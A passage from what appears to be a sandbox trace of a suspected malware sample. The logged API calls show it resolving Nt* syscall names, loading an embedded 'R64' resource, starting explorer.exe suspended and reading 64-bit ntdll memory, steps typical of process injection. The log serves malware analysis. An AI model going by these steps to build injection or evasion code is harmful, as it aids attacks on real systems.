(lpString="NlsAnsiCodePage") returned 15 [0035.480] lstrlenA (lpString="NlsMbCodePageTag") returned 16 [0035.480] lstrlenA (lpString="NlsMbOemCodePageTag") returned 19 [0035.480] lstrlenA (lpString="NtAcceptConnectPort") returned 19 [0035.480] lstrlenA (lpString="NtAccessCheck") returned 13 [0035.480] lstrlenA (lpString="NtAccessCheckAndAuditAlarm") returned 26 [0035.481] lstrlenA (lpString="NtAccessCheckByType") returned 19 [0035.481] lstrlenA (lpString="NtAccessCheckByTypeAndAuditAlarm") returned 32 [0035.481] lstrlenA (lpString="NtAccessCheckByTypeResultList") returned 29 [0035.481] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarm") returned 42 [0035.481] lstrlenA (lpString="NtAccessCheckByTypeResultListAndAuditAlarmByHandle") returned 50 [0035.481] lstrlenA (lpString="NtAddAtom") returned 9 [0035.481] lstrlenA (lpString="NtAddBootEntry") returned 14 [0035.481] lstrlenA (lpString="NtAddDriverEntry") returned 16 [0035.481] lstrlenA (lpString="NtAdjustGroupsToken") returned 19 [0035.481] lstrlenA (lpString="NtAdjustPrivilegesToken") returned 23 [0035.481] lstrlenA (lpString="NtAlertResumeThread") returned 19 [0035.481] lstrlenA (lpString="NtAlertThread") returned 13 [0035.481] lstrlenA (lpString="NtAllocateLocallyUniqueId") returned 25 [0035.481] lstrlenA (lpString="NtAllocateReserveObject") returned 23 [0035.481] lstrlenA (lpString="NtAllocateUserPhysicalPages") returned 27 [0035.481] lstrlenA (lpString="NtAllocateUuids") returned 15 [0035.481] lstrlenA (lpString="NtAllocateVirtualMemory") returned 23 [0035.481] lstrlenA (lpString="NtAlpcAcceptConnectPort") returned 23 [0035.481] lstrlenA (lpString="NtAlpcCancelMessage") returned 19 [0035.481] lstrlenA (lpString="NtAlpcConnectPort") returned 17 [0035.481] lstrlenA (lpString="NtAlpcCreatePort") returned 16 [0035.481] lstrlenA (lpString="NtAlpcCreatePortSection") returned 23 [0035.481] lstrlenA (lpString="NtAlpcCreateResourceReserve") returned 27 [0035.481] lstrlenA (lpString="NtAlpcCreateSectionView") returned 23 [0035.481] lstrlenA (lpString="NtAlpcCreateSecurityContext") returned 27 [0035.481] lstrlenA (lpString="NtAlpcDeletePortSection") returned 23 [0035.481] lstrlenA (lpString="NtAlpcDeleteResourceReserve") returned 27 [0035.481] lstrlenA (lpString="NtAlpcDeleteSectionView") returned 23 [0035.481] lstrlenA (lpString="NtAlpcDeleteSecurityContext") returned 27 [0035.481] lstrlenA (lpString="NtAlpcDisconnectPort") returned 20 [0035.481] lstrlenA (lpString="NtAlpcImpersonateClientOfPort") returned 29 [0035.481] lstrlenA (lpString="NtAlpcOpenSenderProcess") returned 23 [0035.481] lstrlenA (lpString="NtAlpcOpenSenderThread") returned 22 [0035.481] lstrlenA (lpString="NtAlpcQueryInformation") returned 22 [0035.481] lstrlenA (lpString="NtAlpcQueryInformationMessage") returned 29 [0035.481] lstrlenA (lpString="NtAlpcRevokeSecurityContext") returned 27 [0035.481] lstrlenA (lpString="NtAlpcSendWaitReceivePort") returned 25 [0035.481] lstrlenA (lpString="NtAlpcSetInformation") returned 20 [0035.481] lstrlenA (lpString="NtApphelpCacheControl") returned 21 [0035.481] lstrlenA (lpString="NtAreMappedFilesTheSame") returned 23 [0035.482] lstrlenA (lpString="NtAssignProcessToJobObject") returned 26 [0035.482] lstrlenA (lpString="NtCallbackReturn") returned 16 [0035.482] lstrlenA (lpString="NtCancelIoFile") returned 14 [0035.482] lstrlenA (lpString="NtCancelIoFileEx") returned 16 [0035.482] lstrlenA (lpString="NtCancelSynchronousIoFile") returned 25 [0035.482] lstrlenA (lpString="NtCancelTimer") returned 13 [0035.482] lstrlenA (lpString="NtClearEvent") returned 12 [0035.482] lstrlenA (lpString="NtClose") returned 7 [0035.482] lstrlenA (lpString="NtCloseObjectAuditAlarm") returned 23 [0035.482] lstrlenA (lpString="NtCommitComplete") returned 16 [0035.482] lstrlenA (lpString="NtCommitEnlistment") returned 18 [0035.482] lstrlenA (lpString="NtCommitTransaction") returned 19 [0035.482] lstrlenA (lpString="NtCompactKeys") returned 13 [0035.482] lstrlenA (lpString="NtCompareTokens") returned 15 [0035.482] lstrlenA (lpString="NtCompleteConnectPort") returned 21 [0035.482] lstrlenA (lpString="NtCompressKey") returned 13 [0035.482] lstrlenA (lpString="NtConnectPort") returned 13 [0035.482] lstrlenA (lpString="NtContinue") returned 10 [0035.482] lstrlenA (lpString="NtCreateDebugObject") returned 19 [0035.482] lstrlenA (lpString="NtCreateDirectoryObject") returned 23 [0035.482] lstrlenA (lpString="NtCreateEnlistment") returned 18 [0035.482] lstrlenA (lpString="NtCreateEvent") returned 13 [0035.482] lstrlenA (lpString="NtCreateEventPair") returned 17 [0035.482] lstrlenA (lpString="NtCreateFile") returned 12 [0035.482] lstrlenA (lpString="NtCreateIoCompletion") returned 20 [0035.482] lstrlenA (lpString="NtCreateJobObject") returned 17 [0035.482] lstrlenA (lpString="NtCreateJobSet") returned 14 [0035.482] lstrlenA (lpString="NtCreateKey") returned 11 [0035.482] lstrlenA (lpString="NtCreateKeyTransacted") returned 21 [0035.482] lstrlenA (lpString="NtCreateKeyedEvent") returned 18 [0035.482] lstrlenA (lpString="NtCreateMailslotFile") returned 20 [0035.482] lstrlenA (lpString="NtCreateMutant") returned 14 [0035.482] lstrlenA (lpString="NtCreateNamedPipeFile") returned 21 [0035.482] lstrlenA (lpString="NtCreatePagingFile") returned 18 [0035.482] lstrlenA (lpString="NtCreatePort") returned 12 [0035.482] lstrlenA (lpString="NtCreatePrivateNamespace") returned 24 [0035.482] lstrlenA (lpString="NtCreateProcess") returned 15 [0035.482] lstrlenA (lpString="NtCreateProcessEx") returned 17 [0035.482] lstrlenA (lpString="NtCreateProfile") returned 15 [0035.483] lstrlenA (lpString="NtCreateProfileEx") returned 17 [0035.483] lstrlenA (lpString="NtCreateResourceManager") returned 23 [0035.483] lstrlenA (lpString="NtCreateSection") returned 15 [0035.483] lstrlenA (lpString="NtCreateSemaphore") returned 17 [0035.496] FindResourceW (hModule=0x400000, lpName="R64", lpType=0xa) returned 0x408078 [0035.496] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x6a400) returned 0x283a590 [0035.505] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x1c) returned 0x29387d0 [0035.505] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\explorer.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x19 [0035.505] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x19) returned 0x29387f8 [0035.505] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\explorer.exe", lpDst=0x29387f8, nSize=0x19 | out: lpDst="C:\\Windows\\explorer.exe") returned 0x18 [0035.505] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x769e0000 [0035.505] GetProcAddress (hModule=0x769e0000, lpProcName="Wow64EnableWow64FsRedirection") returned 0x76a0ebe8 [0035.505] Wow64EnableWow64FsRedirection (Wow64FsEnableRedirection=0) returned 1 [0035.505] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\explorer.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4000004, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18ec18*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18ec60 | out: lpCommandLine="C:\\Windows\\explorer.exe", lpProcessInformation=0x18ec60*(hProcess=0x10c, hThread=0x104, dwProcessId=0xae4, dwThreadId=0xae8)) returned 1 [0036.133] Wow64EnableWow64FsRedirection (Wow64FsEnableRedirection=1) returned 1 [0036.133] IsWow64Process (in: hProcess=0x10c, Wow64Process=0x18e8f0 | out: Wow64Process=0x18e8f0) returned 1 [0036.134] RtlGetVersion (in: lpVersionInformation=0x18e2d8 | out: lpVersionInformation=0x18e2d8*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 0x0 [0036.134] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77340000 [0036.134] GetProcAddress (hModule=0x77340000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x773620dc [0036.134] NtWow64QueryInformationProcess64 (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation64=0x18e1d4, ProcessInformationLength=0x30, ReturnLength=0x18e228 | out: ProcessInformation64=0x18e1d4, ReturnLength=0x18e228) returned 0x0 [0036.134] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x200) returned 0x2938a58 [0036.134] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x100) returned 0x2938820 [0036.134] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77340000 [0036.134] GetProcAddress (hModule=0x77340000, lpProcName="ZwWow64ReadVirtualMemory64") returned 0x773620f4 [0036.134] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7efdf000, Buffer=0x0, BufferSize=0x2938820, NumberOfBytesRead=0x28 | out: Buffer=0x0, NumberOfBytesRead=0x28) returned 0x0 [0036.134] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77292640, Buffer=0x0, BufferSize=0x2938848, NumberOfBytesRead=0x40 | out: Buffer=0x0, NumberOfBytesRead=0x40) returned 0x0 [0036.134] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x202710, Buffer=0x0, BufferSize=0x2938888, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0036.134] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x202800, Buffer=0x0, BufferSize=0x2938888, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0036.134] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x202db0, Buffer=0x0, BufferSize=0x2938888, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0036.135] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x202f70, Buffer=0x0, BufferSize=0x2938888, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0036.135] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x202c30, Buffer=0x0, BufferSize=0x2938888, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0036.135] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938a58 | out: hHeap=0x2540000) returned 1 [0036.135] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938820 | out: hHeap=0x2540000) returned 1 [0036.135] VirtualAlloc (lpAddress=0x0, dwSize=0x5a4, flAllocationType=0x3000, flProtect=0x4) returned 0x1e0000 [0036.135] GetModuleHandleA (lpModuleName="NTDLL.DLL") returned 0x77340000 [0036.135] GetProcAddress (hModule=0x77340000, lpProcName="ZwWow64QueryInformationProcess64") returned 0x773620dc [0036.135] NtWow64QueryInformationProcess64 (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation64=0x18e1d4, ProcessInformationLength=0x30, ReturnLength=0x18e228 | out: ProcessInformation64=0x18e1d4, ReturnLength=0x18e228) returned 0x0 [0036.135] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x200) returned 0x2938a58 [0036.135] RtlAllocateHeap (HeapHandle=0x2540000, Flags=0x0, Size=0x100) returned 0x2938820 [0036.135] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7efdf000, Buffer=0x0, BufferSize=0x2938820, NumberOfBytesRead=0x28 | out: Buffer=0x0, NumberOfBytesRead=0x28) returned 0x0 [0036.135] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77292640, Buffer=0x0, BufferSize=0x2938848, NumberOfBytesRead=0x40 | out: Buffer=0x0, NumberOfBytesRead=0x40) returned 0x0 [0036.135] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x202710, Buffer=0x0, BufferSize=0x2938888, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0036.135] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x2024da, Buffer=0x0, BufferSize=0x2938a58, NumberOfBytesRead=0x6a | out: Buffer=0x0, NumberOfBytesRead=0x6a) returned 0x0 [0036.135] StrRChrA (lpStart="C:\\Users\\aETAdzjz\\Desktop\\sgm_20190527_desfuhohdt.exe", lpEnd=0x0, wMatch=0x5c) returned="\\sgm_20190527_desfuhohdt.exe" [0036.136] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x202800, Buffer=0x0, BufferSize=0x2938888, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0036.136] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x202650, Buffer=0x0, BufferSize=0x2938a58, NumberOfBytesRead=0x3a | out: Buffer=0x0, NumberOfBytesRead=0x3a) returned 0x0 [0036.136] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\ntdll.dll", lpEnd=0x0, wMatch=0x5c) returned="\\ntdll.dll" [0036.136] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x202db0, Buffer=0x0, BufferSize=0x2938888, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0036.136] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x202d60, Buffer=0x0, BufferSize=0x2938a58, NumberOfBytesRead=0x3a | out: Buffer=0x0, NumberOfBytesRead=0x3a) returned 0x0 [0036.136] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\wow64.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64.dll" [0036.136] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x202f70, Buffer=0x0, BufferSize=0x2938888, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0036.136] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x202f20, Buffer=0x0, BufferSize=0x2938a58, NumberOfBytesRead=0x40 | out: Buffer=0x0, NumberOfBytesRead=0x40) returned 0x0 [0036.136] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\wow64win.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64win.dll" [0036.136] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x202c30, Buffer=0x0, BufferSize=0x2938888, NumberOfBytesRead=0x98 | out: Buffer=0x0, NumberOfBytesRead=0x98) returned 0x0 [0036.136] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x202be0, Buffer=0x0, BufferSize=0x2938a58, NumberOfBytesRead=0x40 | out: Buffer=0x0, NumberOfBytesRead=0x40) returned 0x0 [0036.136] StrRChrA (lpStart="C:\\Windows\\SYSTEM32\\wow64cpu.dll", lpEnd=0x0, wMatch=0x5c) returned="\\wow64cpu.dll" [0036.136] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938a58 | out: hHeap=0x2540000) returned 1 [0036.136] HeapFree (in: hHeap=0x2540000, dwFlags=0x0, lpMem=0x2938820 | out: hHeap=0x2540000) returned 1 [0036.136] lstrcmpiA (lpString1="sgm_20190527_desfuhohdt.exe", lpString2="NTDLL.DLL") returned 1 [0036.136] StrChrA (lpStart="sgm_20190527_desfuhohdt.exe", wMatch=0x2e) returned=".exe" [0036.136] lstrcmpiA (lpString1="sgm_20190527_desfuhohdt", lpString2="NTDLL.DLL") returned 1 [0036.136] lstrcmpiA (lpString1="ntdll.dll", lpString2="NTDLL.DLL") returned 0 [0036.136] VirtualFree (lpAddress=0x1e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0036.136] VirtualAlloc (lpAddress=0x0, dwSize=0x1a9000, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0036.137] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77160000, Buffer=0x0, BufferSize=0x2d20000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.137] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77161000, Buffer=0x0, BufferSize=0x2d21000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.137] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77162000, Buffer=0x0, BufferSize=0x2d22000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.137] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77163000, Buffer=0x0, BufferSize=0x2d23000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.137] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77164000, Buffer=0x0, BufferSize=0x2d24000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.138] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77165000, Buffer=0x0, BufferSize=0x2d25000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.138] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77166000, Buffer=0x0, BufferSize=0x2d26000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.138] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77167000, Buffer=0x0, BufferSize=0x2d27000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.138] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77168000, Buffer=0x0, BufferSize=0x2d28000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.138] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77169000, Buffer=0x0, BufferSize=0x2d29000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.138] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7716a000, Buffer=0x0, BufferSize=0x2d2a000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.139] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7716b000, Buffer=0x0, BufferSize=0x2d2b000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.139] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7716c000, Buffer=0x0, BufferSize=0x2d2c000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.139] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7716d000, Buffer=0x0, BufferSize=0x2d2d000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.139] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7716e000, Buffer=0x0, BufferSize=0x2d2e000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.139] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7716f000, Buffer=0x0, BufferSize=0x2d2f000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.139] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77170000, Buffer=0x0, BufferSize=0x2d30000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.140] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77171000, Buffer=0x0, BufferSize=0x2d31000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.140] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77172000, Buffer=0x0, BufferSize=0x2d32000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.140] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77173000, Buffer=0x0, BufferSize=0x2d33000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.140] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77174000, Buffer=0x0, BufferSize=0x2d34000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.140] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77175000, Buffer=0x0, BufferSize=0x2d35000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.140] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77176000, Buffer=0x0, BufferSize=0x2d36000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.140] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77177000, Buffer=0x0, BufferSize=0x2d37000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.141] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77178000, Buffer=0x0, BufferSize=0x2d38000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.141] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77179000, Buffer=0x0, BufferSize=0x2d39000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.141] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7717a000, Buffer=0x0, BufferSize=0x2d3a000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.141] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7717b000, Buffer=0x0, BufferSize=0x2d3b000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.141] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7717c000, Buffer=0x0, BufferSize=0x2d3c000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.141] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7717d000, Buffer=0x0, BufferSize=0x2d3d000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.142] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7717e000, Buffer=0x0, BufferSize=0x2d3e000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.142] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7717f000, Buffer=0x0, BufferSize=0x2d3f000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.142] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77180000, Buffer=0x0, BufferSize=0x2d40000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.142] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77181000, Buffer=0x0, BufferSize=0x2d41000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.142] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77182000, Buffer=0x0, BufferSize=0x2d42000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.142] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77183000, Buffer=0x0, BufferSize=0x2d43000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.143] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77184000, Buffer=0x0, BufferSize=0x2d44000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.143] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77185000, Buffer=0x0, BufferSize=0x2d45000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.143] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77186000, Buffer=0x0, BufferSize=0x2d46000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.143] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77187000, Buffer=0x0, BufferSize=0x2d47000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.143] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77188000, Buffer=0x0, BufferSize=0x2d48000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.143] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77189000, Buffer=0x0, BufferSize=0x2d49000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.143] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7718a000, Buffer=0x0, BufferSize=0x2d4a000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.144] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7718b000, Buffer=0x0, BufferSize=0x2d4b000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.144] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7718c000, Buffer=0x0, BufferSize=0x2d4c000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.144] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7718d000, Buffer=0x0, BufferSize=0x2d4d000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.144] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7718e000, Buffer=0x0, BufferSize=0x2d4e000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.144] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x7718f000, Buffer=0x0, BufferSize=0x2d4f000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.144] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77190000, Buffer=0x0, BufferSize=0x2d50000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.144] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77191000, Buffer=0x0, BufferSize=0x2d51000, NumberOfBytesRead=0x1000 | out: Buffer=0x0, NumberOfBytesRead=0x1000) returned 0x0 [0036.145] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0xffffffff, BaseAddress=0x77192000, Buffer=0x0, BufferSize=0x2d52000, 